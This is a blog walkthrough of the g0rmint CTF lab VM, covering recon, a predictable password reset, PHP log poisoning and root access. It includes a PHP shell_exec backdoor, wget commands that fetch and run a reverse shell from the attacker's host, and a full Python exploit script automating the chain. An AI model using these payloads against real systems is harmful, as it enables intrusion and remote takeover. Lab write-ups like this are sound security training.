Amonsec

It's all about digital security.

A simple blog where you can find different things about digital security.

g0rmint: CTF walkthrough

Introduction

Name: g0rmint: 1
Date release: 3 Nov 2017

AuthorNoman Riffat
Seriesg0rmint

Contact: w3bdrill3r [at] gmail [dot] com

 

Recognition

First of all let’s find the IP address of the vulnerable system. As usual we use arp-scan.

g0rmint_ctf_walkthrough_arp_scan.png

hen we scan the system to find which ports/services are running.

root@kali:~# nmap -A -F 192.168.1.103

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-21 04:37 CET
Nmap scan report for anakin.home (192.168.1.103)
Host is up (0.00072s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:4e:fd:98:4e:ae:5d:0c:1d:32:e8:be:c4:5b:28:d9 (RSA)
|   256 9b:48:29:39:aa:f5:22:d3:6e:ae:52:23:2a:ae:d1:b2 (ECDSA)
|_  256 19:c2:74:0e:fc:48:3f:38:a6:96:68:19:62:11:c2:bf (EdDSA)
80/tcp open  http    Apache httpd 2.4.18
| http-robots.txt: 1 disallowed entry 
|_/g0rmint/*
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 Not Found
MAC Address: 00:0C:29:69:CF:69 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.72 ms anakin.home (192.168.1.103)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.92 seconds
root@kali:~#
 

First steps

If we call and enumerate the root of the web folder we will find the robots.txt file.

root@kali:~# curl 'http://192.168.1.103/robots.txt'
/* Too easy? Lets see */
Disallow: /g0rmint/*
root@kali:~#

Now, we can focus our research in the g0rmint sub directory. After playing with the website to understand what do what and what is our possibilities we can start reading the source code. An interesting thing can be found in the index.php page.

<!-- start: Mobile Specific -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="backup-directory" content="s3cretbackupdirect0ry">
<!-- end: Mobile Specific -->

Finally we can download a backup of the website.

root@kali:~# wget http://192.168.1.103/g0rmint/s3cretbackupdirect0ry/backup.zip
--2017-11-21 04:57:25--  http://192.168.1.103/g0rmint/s3cretbackupdirect0ry/backup.zip
Connecting to 192.168.1.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3747475 (3.6M) [application/zip]
Saving to: ‘backup.zip’

backup.zip                     100%[====================================================>]   3.57M  --.-KB/s    in 0.06s   

2017-11-21 04:57:25 (59.4 MB/s) - ‘backup.zip’ saved [3747475/3747475]

root@kali:~#

The content of the unzipped file:

root@kali:~/backup# l
total 104
drwxr-xr-x  8 root root 4096 Nov 18 16:32 .
drwxr-xr-x 31 root root 4096 Nov 21 04:57 ..
-rw-r--r--  1 root root  823 Nov  2 20:22 config.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 css
-rw-r--r--  1 root root 1251 Nov  2 20:30 db.sql
-rw-r--r--  1 root root  493 Nov  2 17:01 deletesecretlogfile.php
-rw-r--r--  1 root root  154 Nov  2 17:01 dummy.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 font
-rw-r--r--  1 root root   45 Nov  2 00:46 footer.php
-rw-r--r--  1 root root 5721 Nov  1 23:45 header.php
drwxr-xr-x  4 root root 4096 Nov  1 23:51 img
-rw-r--r--  1 root root 1986 Nov  1 18:48 index.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 js
-rw-r--r--  1 root root 7426 Nov  2 17:00 login.php
-rw-r--r--  1 root root   99 Nov  2 17:02 logout.php
-rw-r--r--  1 root root  847 Nov  1 19:02 mainmenu.php
-rw-r--r--  1 root root 5113 Nov  2 17:02 profile.php
-rw-r--r--  1 root root 7343 Nov  2 14:39 reset.php
drwxr-xr-x  2 root root 4096 Nov  2 14:36 s3cr3t-dir3ct0ry-f0r-l0gs
drwxr-xr-x  2 root root 4096 Nov  2 03:06 s3cretbackupdirect0ry
-rw-r--r--  1 root root 2587 Nov  3 14:22 secretlogfile.php
-rw-r--r--  1 root root 2065 Nov  1 23:42 secrets.php
root@kali:~/backup#
 

Finding vulnerabilities

After some research we can find three interesting things.

First, we can find the email and the username of a user in the header of a CSS file.

root@kali:~/backup# cat css/style.css |grep 'Author'
* Author: noman
* Author Email: w3bdrill3r@gmail.com
root@kali:~/backup#

Second, we can reset the password of a user if we have his username and his email. (reset.php)

<?php
include_once('config.php');
$message = "";
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $user = $_POST['user'];
    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":user", $user);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";
    }
}
?>

Moreover, as we can see, the new password is based on a generated date and in the bottom of the reset.php file the same date (format) is displayed. So, we can easily find the new password.

<!-- end: JavaScript-->
<div style="float: right; margin-right: 20px; margin-top: 20px; color: #fff;">Page loaded at <b><?php echo gmdate("l jS \of F Y h:i:s A"); ?></b> Standard GMT Time</div>
</body>
</html>

Finally, we can see that log files are created without enough sanitising, allowing us to inject PHP code in log files and to execute arbitrary commands. (config.php)

if (isset($_POST)) {
    foreach ($_POST as $key => $value) {
        if (!is_array($value)) {
            $value = addslashes($value);
        }

        $_POST[$key] = $value;
    }
}

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        fclose($fh);
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    }
    fclose($fh);
}

Note, we have to bypass the addslashes PHP function.

 

Reseting the password

First of all we reset the password of the previously found user.

g0rmint_ctf_walkthrough_reseting_password.png

Then we use the date at the bottom of the page to guess the new password. This simple PHP code can be use:

<?php
$password = substr(hash('sha1', 'Tuesday 21st of November 2017 04:38:15 AM')), 0, 20);
echo $password;
?>

In this case the new password will be:

root@kali:~/Desktop# php test.php 
63395b823551fe40f69f
root@kali:~/Desktop#

We are now able to log in the web application.

 

Remote code execution

As we saw in the part 0x02, log files are create without enough sanitising , that would says we can inject PHP code in log files. For that, we inject our PHP code in the email input in the login form.

In my case I use a basic PHP backdoor that execute command passed in a GET variable and encoded in base64.

<pre><?php echo shell_exec(base64_decode($_GET[cmd])); ?>

Note, due to the fact it’s a POST request we have to bypass the addslashes function, that’s why I use $_GET[cmd] instead of $_GET[‘cmd’].

We are now able to execute arbitrary command on the system by calling the poisoned log file. For example:

root@kali:~/backup# echo 'ls -la' |base64
bHMgLWxhCg==
root@kali:~/backup#
g0rmint_ctf_walkthrough_test_rce.png

Now, we will upload a reverse shell, change his permissions and execute the reverse shell, in order to have a remote access to the target system.

root@kali:~/backup# echo '/usr/bin/wget http://192.168.1.104/rshell -O /tmp/rshell' |base64
L3Vzci9iaW4vd2dldCBodHRwOi8vMTkyLjE2OC4xLjEwNC9yc2hlbGwgLU8gL3RtcC9yc2hlbGwK
root@kali:~/backup# 
root@kali:~/backup# echo 'chmod 777 /tmp/rshell' |base64
Y2htb2QgNzc3IC90bXAvcnNoZWxsCg==
root@kali:~/backup# 
root@kali:~/backup# echo '/bin/bash -c /tmp/rshell' |base64
L2Jpbi9iYXNoIC1jIC90bXAvcnNoZWxsCg==
root@kali:~/backup#

Note, you have to generate, via Metasploit or another platform, a reverse shell and to enable the Apache2 daemon.

root@kali:~/backup# /etc/init.d/apache2 start

Finally, we have our remote access.

g0rmint_ctf_walkthrough_reverse_shell.png
 

Python script

I will not explain this following python script, but you only have to pass arguments to gain a reverse shell. You can find this script here, on my Github account.

#!/usr/bin/python
import sys
import time
import base64
import hashlib
import requests
import datetime
import threading
import subprocess

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'

successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

if len(sys.argv) < 4:
    print errorMessage('Usage: {} <rhost> <lhost> <username> <email> <binary path>'.format(sys.argv[0]))
    print errorMessage('Where: ')
    print '\t- The remote IP address is the address of the remote server;'
    print '\t- The local IP address of the attacking system;'
    print '\t- The username & email are credentials of the account to reset the password;'
    print '\t- The reverse shell in the /var/www/html/ folder (Msfvenom recommended).\n'
    print errorMessage('Note, nc is required and you have to enable apache2 service.')
    sys.exit(1)
else:
    ip = sys.argv[1]
    lhost = sys.argv[2]
    username = sys.argv[3]
    email = sys.argv[4]
    path = sys.argv[5]

def sending(url, s):
    command = base64.b64encode('/bin/bash -c /tmp/rshell')
    res = s.get(url + command)

def recv():
    subprocess.call(['nc -lnvp 1337'], shell=True)

payload = {
    'email': email,
    'user': username,
    'submit': 'reset'
}

print infoMessage('Trying to reset the password of: ')
print '\t{} : {}'.format(email, username)
res = requests.post("http://" + ip + "/g0rmint/reset.php", data=payload)

if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
    sys.exit(1)
print successMessage('Gotcha!\n')

# Dirty as fuck ...
gmt = res.content.split('Page loaded at <b>')[1].split('</b> Standard GMT Time</div>\n')[0]

print infoMessage('Standard GMT Time: ')
print '\t{}\n'.format(gmt)

# Magik
password = hashlib.sha1(gmt).hexdigest()[:20]
print infoMessage('Making magic ...')
print successMessage('New password: {}\n'.format(password))

print infoMessage('Poisoning log files with the following payload: ')
rce = '<?php echo shell_exec(base64_decode($_GET[cmd])); ?>'
print '\t' + rce

payload = {
    'email': rce,
    'pass': password,
    'submit': 'submit'
}

res = requests.post("http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
    sys.exit(1)
print successMessage('Log files successfully poisoned!\n')

print infoMessage('Trying to log in the web app')
s = requests.Session()
payload = {
    'email': email,
    'pass': password,
    'submit': 'submit'
}

res = s.post("http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print erroMessage('Ooouups something goes wrong!')
    sys.exit(1)
print successMessage('Successfully logged in the web app!\n')

print infoMessage('Getting the reverse shell')
logfile = datetime.datetime.today().strftime('%Y-%m-%d') + '.php'
url = 'http://' + ip + '/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/' + logfile + '?cmd='

print infoMessage('Uploading the reverse shell')
command = base64.b64encode('/usr/bin/wget http://' + lhost + '/' + path + ' -O /tmp/rshell')
res = s.get(url + command)
time.sleep(4)

print infoMessage('Changing permissions')
command = base64.b64encode('chmod 777 /tmp/rshell')
res = s.get(url + command)
'''
print infoMessage('Executing the reverse shell')
command = base64.b64encode('/bin/bash -c /tmp/rshell')
res = s.get(url + command)
'''

thread1 = threading.Thread(target=recv)
thread2 = threading.Thread(target=sending, args=(url, s,))

thread1.start()
thread2.start()
g0rmint_ctf_walkthrough_python_script.png
 

Privilege escalation

Another backup.zip file can be found int the /var/www/ folder. If we unzip this file and if we display the contante of db.sql, we will find the original password of the g0rmint user.

www-data@ubuntu:/var/www$ mkdir /var/tmp/backup
mkdir /var/tmp/backup
www-data@ubuntu:/var/www$ unzip backup.zip -d /var/tmp/backup/
unzip backup.zip -d /var/tmp/backup/
[..snip..]
www-data@ubuntu:/var/www$ cat /var/tmp/backup/db.sql |grep noman
(1, 'noman', 'w3bdrill3r@gmail.com', 'ea60b43e48f3c2de55e4fc89b3da53dc');
www-data@ubuntu:/var/www$

The decrypted MD5 password is: tayyab123 Now we can log in the system via SSH.

root@kali:~/Desktop# ssh g0rmint@192.168.1.103
The authenticity of host '192.168.1.103 (192.168.1.103)' can't be established.
ECDSA key fingerprint is SHA256:A+QDYP4PRQ/yHT8YJNEE6isId6ouaX24QAp1vYf1qK4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.103' (ECDSA) to the list of known hosts.
g0rmint@192.168.1.106's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Mon Nov 20 11:30:58 2017 from 192.168.1.104
g0rmint@ubuntu:~$

The g0rmint user is a privileged user, so we can become root.

g0rmint_ctf_walkthrough_root.png
 
 

break